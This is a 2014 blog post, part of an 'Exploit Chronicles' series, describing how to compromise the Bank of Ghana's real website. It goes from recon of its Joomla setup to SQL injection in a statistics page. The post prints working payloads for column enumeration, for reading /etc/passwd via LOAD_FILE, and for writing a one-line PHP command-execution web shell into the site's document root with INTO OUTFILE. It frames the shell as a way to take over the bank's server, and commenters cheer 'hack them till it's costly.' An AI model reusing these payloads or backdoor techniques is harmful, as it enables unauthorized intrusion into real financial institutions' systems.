EC102: Backdooring Bank of Ghana's website

Published on March 21, 2014 at 20:55 GMT Share: Twitter | Facebook

The Bank of Ghana (BoG) is the central bank of Ghana. It was formally established on 4th March, 1957, two days before the country's independence.
An SQL injection attempt to install a web backdoor

The Bank of Ghana (BoG) is the central bank of Ghana. It was formally established on March 4, 1957, two days before the declaration of Ghana's political—certainly not economical—independence from Great Britain. On August 1, 1957, the bank, then governed by the (late?) Scottish banker Sir Alfred Eggleston, opened for business and thus commenced its formal banking operations. It started with six departments, namely, the Governors' Office, Administration, Banking, Issue, Accounts, and Economics.[1] But where was the IT Department? Well, Bill Gates was yet to teach the world populace how to handle a keyboard without letting it fall, so the bank officials were given some time to dust the cabinets while the barely two-year-old nerd suck some more breast milk.

But no—not today—in 2014, when the bank has grown into a prolific microfinance licensor of the country, and governed by a native of the land. Veritably, the bank has stayed true to its objectives, competently carrying out one of its functions to "promote by monetary measure the stablisation of the value of the currency within and outside Ghana." The "currency," which according to my knowledge is the dollar, has consistently been stabilized since the central bank was established, both "within and outside Ghana." What a commendable effort by the Bank of Ghana! But how does the bank scale when it comes to the security of its information systems?

In 2012, during the climactic heyday of SEPO, the gray-hat hacker compromised the systems of several African banks, most of them Ghanaian, including that of the Agricultural Development Bank, SG-SSB, UT Bank, Prudential Bank, and Fidelity Bank.[2] But it looks like not every bank learned a lesson from the hacking streak of our Eastern European friend. So in this case study of Exploit Chronicles, we are raising up the surgical knife against the central bank of the Republic of Ghana itself, to examine the length of its intestine whether it is indeed ten times longer than its body. As usual, the author of this article cannot be held responsible for whatever you do with the information presented herein; therefore, read this article at your own risk.

Recon—Identifying attack vectors

It doesn't take much googling to find out that the Bank of Ghana's website is at After figuring out the URL of the bank, we then navigate to the website, which is powered by the privately owned internet connectivity provider Comsys Ghana Limited. Upon arrival at the site, we may gratifyingly exclaim, "Joomla!" Why? Because it seems that is the Content Management System (CMS) that the website is using. How we got to know that is simply because of the soporific presence of option=com_foo and option=com_bar in the site's pages' URLs.[3] But why is that any gratifying? Because Joomla has a bad reputation when it comes to security. For example, we may guess the administrator login page at /administrator and we wouldn't be far from wrong.[4]

Moving forward, we look at the left navigation pane of the homepage to see a list of interesting links. One that appears the most interesting is labeled BOG Internet Banking. Oh, I love internet banking, do you? Then let's check it out. Oops! My outdated Firefox tells me: "This Connection is Untrusted." Why? Because " uses an invalid security certificate. The certificate expired on 8/21/2012 11:59 PM." For a bank whose online banking domain's SSL certificate has expired for almost 2 years now, do you really think it is safe to put your money where its mouth is? At any rate, this is quite some valuable information we have now—the administrative staff of the site is lazy. On that account, let's keep looking; there must be someplace better than Prairie Rose.

By taking a closer look at the URLs, we can repeatedly see option=com_content in there. This is a built-in component of Joomla to display content pages. Attempting to exploit the built-in components themselves will most likely be unfruitful, so let's rather scan the URLs to check for some other components.[5] On my Windows XP box, here is what I would do:

C:\> cat | grep -oP option=[\w]+ | sort | uniq

Hmm, com_acymailing is an AcyMailing component; com_aicontactsafe is another component that lets you place a contact form on your Joomla site; com_phocagallery, like the name suggests, is a Phoca Gallery component. Concerning com_wrapper, folks say that it is a built-in component that lets one embed web pages into their Joomla site by means of an HTML iframe element. If so, then that means BoG is embedding some other pages, most likely custom scripts, somewhere on the site. OK then, let's find the pages that are making use of this component.

C:\> cat | grep -oP [^^"""]+com_wrapper[^^"""]+

There we have the full URIs. Now let's check 'em out.[*] The first URI turns out to be the Treasury Bill Rates web page. Indeed, we can confirm that the page is using an iframe to embed the actual content located at Let's get rid of the com_wrapper stuff and go directly to that page. There, the simple HTML controls on the page allow us to select a date of which we want to know the TB rate for. Let's choose, say, 3rd March 2014 and submit the form by clicking View. Gracias, we have our data. But the URL has changed with some added query string parameters. Now let's prepend a single quote, i.e. ', to the value of datepicker and send. Oh, mamma mia—the site is vulnerable to an SQL injection attack!

Exploit—Installing a backdoor

Unfortunately, the web page we identified in our recon will not yield itself well to the kind of attack we want to launch. So, fast forward, navigate to the page with the "Itemid=260" in the URL, which embeds the page at Without changing the values of either Start Date or End Date, click the View button to get a fresh brand new page to carry out the following exploit. As a matter of fact, forensic study of the page reveals that the backend PHP code that retrieves data from the database is almost identical to the following:

if (!isset($_GET['StartDate']))
   $_GET['StartDate] = date('Y') - 1;

if (!isset($_GET['EndDate']))
   $_GET['EndDate'] = date('Y');

$result = mysql_query('SELECT [columns] FROM bog4_monthly_time_series
   WHERE (Year >='.$_GET['StartDate'].' AND Year <='.$_GET['EndDate'].')
   ORDER BY Year,bog4_monthly_time_series.MonthId');

while ($row = mysql_fetch_array($result))
. . .

Now it is evident that the page (and as a result, the whole site) is vulnerable to SQL injection attacks. What is more, we have the privilege to choose between the StartDate and the EndDate URI parameters which one to be our ticket.[6] In this demonstration, however, I am going to be using the latter. Thus, the pivot of our attacks will be at the $_GET['EndDate'] part of the query string. Our payloads are always going to start with 0) to ensure that the condition Year >= {StartDate} AND Year <= {EndDate} always evaluates to false, thereby returning no results but the ones we instruct. Moreover, the payloads will be ending with +--+,# in order to force the DBMS to treat the rest of the query string (after the payload) as mere comments.

The first step is to determine the number of columns that the SELECT query returns. This can be achieved by sending the payload 0) ORDER BY n+--+, where n is an integer greater than zero. (The payload should be set as the value of the URI parameter EndDate.) The value of n should then be increased by 1 until an error is generated such as Unknown column 'n' in 'order clause', where n is the integer used. The error would mean that the SELECT query returns n - 1 columns.

Next, we will attempt to read the contents of the /etc/passwd file since the server is most likely running on a UNIX-like operating system. Assuming the number of columns we detected in the previous step was 16, then the payload to accomplish the current task would be: 0) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,LOAD_FILE('/etc/passwd'),16+--+. (The value of the 15th column is used as the header of each table column on the page, thus where the MySQL LOAD_FILE function is called.) Voila, we've got what we want! In addition, we've got to know that the home directory of the apache user is /var/www. This, coupled with further investigation you may do on your own, plus the use of your natural intelligence in some cases, will help you finally come to know that the DocumentRoot for the site is /var/www/html/bog.

Now the stage is set to install our web backdoor. The design of the backdoor is dependent upon an individual's preferences, though. In this demo, I will show how to install a one-line PHP script that executes whatever is passed to it, via an HTTP request, as a shell command; the output of the command is then flushed to the client. The name of the script is bd.php and is placed at the root of the site, making it easily accessible. Considering the aforementioned requirements, the payload for this brutal task would be something like: 0) UNION SELECT '<?php system($_REQUEST[''cmd'']); //',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO OUTFILE '/var/www/html/bog/bd.php'+--+. After successful installation, you may want to fiendishly navigate to the URL to execute your first remote shell command. At this point, you are at liberty to make the central bank of the Republic of Ghana's web server your daily morning bread!

Conclusion—Is that all?

Certainly not! What I have highlighted in this article is just a single step of a long staircase to a castle tower. What an attacker could do with such SQL injection vulnerabilities is deeply unfathomable. For instance, an attacker could turn BoG's server into a malware hotspot like some Middle East bad guys did with TV3 Network's. Or use the server resources to send spam or engage in DDoS attacks like one Italian skiddie did with the Electoral Commission's. The list of possibilities is endless, and there have actually been incidents of their kind happening before. What scares me is that I might get some minor aches and so visit the hospital, only for some Russian haxor to execute the query UPDATE medicine SET name = 'Paracetamol' WHERE name = 'Methamphetamine' on the hospital's compromised database systems. Oh yeah, that would be bloody wicked!

SQL injection attacks are not new.[7] However, there seems to be some people still living in the dark. (I hope that the sun shines in at their windows come next early morning.) Admittedly, both articles published so far in this campaign have exploited SQL injection vulnerabilities but I say, there are many other popular websites out there that are vulnerable to all kinds of attack like XSS, remote code execution, session hijacking, arbitrary file uploads, etc. Possibly, many of these web applications will be discussed in future case studies but one thing is certain: I am surely not going to be able to keep up with this campaign for long; I will by all means get tired after a few more case studies and drop. Then what happens? Hopefully, just a few minor hacks.

On many web servers, there is this module called ModSecurity that many web developers (and webmasters alike) regard as a web application firewall. According to common knowledge on the Internet, ModSecurity "prevents attacks and strengthens the security of your server." What many of these webmasters fail to realize is that before you can prevent an attack using this module, you must know what flaw an attacker would be exploiting. Simply, in order to make the most efficient use of ModSecurity, you have to be a security expert. But if you are already a security expert, then why would you need this tool? Please ask them that question for me.[8]

I guess that will be all for now. But before leaving, read this story: A guy came onto an Internet forum saying his Antivirus software detected a program he had downloaded as malware, so he wanted to know what to do. One forumite then replied: "The best Antivirus is your brain." The guy needing help logged off the site feeling disappointed because he didn't get the answer he wanted to hear. The question is, Are not the guys who write Antiviruses the same as those who write viruses—programmers? How, then, do you expect members in the former to be better than those in the latter group?[9] Well, in the meantime, till we meet again for our next case study, keep in mind that whatever can be done can also be undone if only one knows where to look.


  • * When decoding HTML-encoded data, "&amp;" translates to just "&".
  • # When decoding URL-encoded data, "+" translates to " ", i.e., space (ASCII 32).


  1. I initially copied the names of the departments from the BoG's website, just like the guy who wrote the bank's Wikipedia article did, but later made some modifications. Regarding the article on Wikipedia, almost the entire piece is plagiarized verbatim from the bank's website. Hey, GH Wikipedians, feel free to copy-and-paste me; I promise: I won't demand any royalty.
  2. The developers of those hacked sites are well known within the Ghanaian tech ecosystem, some having recently started companies of their own. Sadly, most of them were relieved of their jobs following the hacking incidents. However, some smart ones managed to win new contracts for their soul mates to redevelop the sites. Can you believe that?! That is why I call them smart.
  3. Just in case you are feeling skeptical, then you may want to view the homepage's HTML source code for further confirmation. In it will be a meta element with the name "generator" with the associated content of something similar to "Joomla! 1.5 - Open Source Content Management."
  4. In fact, at this point, you may even decide to stop reading this article but just google "how to hack joomla," and if you happen to be one who is capable of counting up to 20 without taking off your shoes, you may never actually have to return to continue reading this article.
  5. Such are situations where you need to prove what kind of armor you have at hand. (A soldier is the man in his army uniform standing at the front line but not the one chasing squirrels on a mango tree in green pajamas.) Which operating system you are using doesn't matter but the tools installed on it.
  6. I think the definition of some SQL injection terminologies is necessary: (1) Ticket is an entry field of some user input data by means of which an injection attack can be carried out. (2) Payload is the actual data inserted into an SQL query to construct an attack. (3) Pivot is the position within an SQL query string where payloads may be injected.
  7. Jeff Forristal (a.k.a. Rain Forest Puppy) is credited to be the first person to publicly discuss an SQL injection vulnerability (that is, the code injection technique such as the one demonstrated in this article) way back in 1998. The article he wrote was published in the 54th issue of Phrack Magazine. You may read it here.
  8. That is not to say ModSecurity is completely ineffective when installed. No, because the module actually comes pre-configured with some rules to help prevent many common forms of attacks. The point is, there are ways to bypass its request filtering rules (which the developers are aware of but sadly not the users), hence providing only superficial protection.
  9. As software are becoming progressively complex, and the demand to automate tasks is ever on the increase, which is stepping up the horrific dependency on third-party systems a developer mostly barely has control over, the worst bugs and malware are probably yet to be discovered.
Comments (7)

Francis Asante
April 4, 2014 at 17:04 GMT

Nice article.

I just keep thinking; what would it take to change the prevalent notion that technology is an auxiliary tool in business worth very little investment? Until this idea is let go, developers are not going to hold themselves to higher standards, just as the local industry does not, and would continue to deliver solutions heavily dependent on abstractions (libraries, frameworks, CMS, languages, stackoverflow snippets, etc.) that are not well understood and potentially insecure.

Solution: hack them till it's costly -- but hey, that won't be ethical right? In the end though when a major player who affects our lives is compromised, we all pay the price.

SQL injection is too old school to still be a threat. As far as security is concerned, if code needs to be re-written, it just has to be.

Great work!

Michael Kwayisi
April 5, 2014 at 15:44 GMT

Good talk there, Francis. But I guess high-performance robust programming (call it real programming) simply doesn't go with modern business ethics, which is "release early, fail fast." (Linux is at version 3 whereas Chrome is at version 34.) Most managers would rather the product shipped with bugs than to linger because of the QA guy. The idea is, "Let's ship it buggy; by the time the customer complains, a patch would be ready."

I like the "hack them till it's costly" idea although some folks may consider it to be evil. Even so, in this day when people are so busy with their life pursuits, who really has the time to do this favor? After all, the affected people don't seem to care.

Anyway, with regards to the next case study (which will hopefully be published by the close of the month) SQL injection will not be employed at all, but a combination of other attack techniques and vulnerability vectors including session hijacking, password retrieval, remote data deletion, and information harvesting.

July 15, 2014 at 12:04 GMT

nice article, how do you run cat in windows? i'm curious... because i only know of 'type'.

=====================the b in adwenb===================

Michael Kwayisi
July 16, 2014 at 07:18 GMT

You are right, adwenb; Windows does not have "cat". My box is actually custom built, installed with many of the common Unix tools, including cat. See endnote #5 :)

August 7, 2014 at 08:46 GMT

Hey long time no see. How is life BOSS? Miss you a lot. Well Done Boss!

September 23, 2014 at 23:18 GMT

I like your blog, but did you even notice the multiple vulnerabilities in your blog script? Very interesting.

Michael Kwayisi
September 24, 2014 at 08:03 GMT

Hi pfcodes. Unfortunately, I have not yet noticed any "multiple vulnerabilities in [my] blog script." Can you please exploit those vulns for me, in order to teach me a lesson?

As for your other comment, I moved it to the WinFASM page and responded to it there. (I hope you don't mind.) BTW, keep the underground fire burning :)

Comments are currently closed on this content.

More: Related content On the Web »
Copyright © 2016 Michael Kwayisi